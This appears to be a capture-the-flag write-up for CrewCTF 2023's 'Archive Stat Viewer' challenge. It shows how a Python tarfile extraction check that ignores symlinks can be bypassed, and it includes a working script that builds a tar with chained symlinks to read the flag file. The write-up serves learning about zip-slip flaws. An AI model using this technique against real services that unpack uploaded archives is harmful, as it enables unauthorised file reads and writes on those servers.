{%hackmd hackmd-dark-theme %} # Archive Stat Viewer - CrewCTF 2023 In the recent CrewCTF 2023, participants encountered a challenge named "Archive Stat Viewer". It was a zip-slip challenge. However, the challenge's authors added a unique twist by incorporating best practices for safely unpacking files, specifically highlighting the use of the tarfile module in Python. > Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..". > Set filter='data' to prevent the most dangerous security issues, and read the Extraction filters section for details. Remarkably, the authors of the challenge diligently adhered to the aforementioned best practices. Here's a concise demonstration: ```python def extract_archive(archive_path, extract_folder): with tarfile.open(archive_path) as archive: for member in archive.getmembers(): if member.name[0] == '/' or '..' in member.name: raise HackingException('Malicious archive') archive.extractall(extract_folder) ``` # The Logic The logic of the challenge was actually simple: 1. Handle a tar file upload 2. **safley** unpack 3. View the actual result in a JSON file ```python @app.get('/results/<archive_id>') def download_result(archive_id): if 'archives' not in session: session['archives'] = [] archive_id = Path(archive_id).name return send_file(UPLOAD_DIR / archive_id / 'result.json') ``` # The Out-Of-Bound Write Because the code was being handled by the server-side code of the challenge, tricks like using encoding simply wont work. But because there wasn't a protection against symlinks, we are able to create a symlink to the root of the filesystem **/** and write to a specific path afterwards. ```bash root@4120bf685729:/tmp# ls -la total 8 drwxrwxrwt 1 root root 4096 Aug 16 05:33 . drwxr-xr-x 1 root root 4096 Aug 16 04:30 .. root@4120bf685729:/tmp# ln -s / symlink.jpg root@4120bf685729:/tmp# echo "Oh pwned" > symlink.jpg/tmp/pwned root@4120bf685729:/tmp# ls -la total 12 drwxrwxrwt 1 root root 4096 Aug 16 05:34 . drwxr-xr-x 1 root root 4096 Aug 16 04:30 .. -rw-r--r-- 1 root root 9 Aug 16 05:34 pwned lrwxrwxrwx 1 root root 1 Aug 16 05:34 symlink.jpg -> / root@4120bf685729:/tmp# ``` # The Solution We can simply replicate the previous technique using Python **tarfile** ```python import tarfile with tarfile.open('exploit.tar.gz', 'w:gz') as tar: # First file info1 = tarfile.TarInfo("./test.txt") info1.type = tarfile.SYMTYPE info1.linkname = "/" tar.addfile(info1) # Second file info2 = tarfile.TarInfo("./test.txt/web-apps/src/archives/658bf5b0-b12f-48c9-be3d-e9ff465a2a94/result.json") # uuid of previously uploaded file info2.type = tarfile.SYMTYPE info2.linkname = "/web-apps/src/flag.txt" tar.addfile(info2) ``` # Refs https://security.snyk.io/research/zip-slip-vulnerability https://res.cloudinary.com/snyk/image/upload/v1528192501/zip-slip-vulnerability/technical-whitepaper.pdf https://www.youtube.com/watch?v=Ry_yb5Oipq0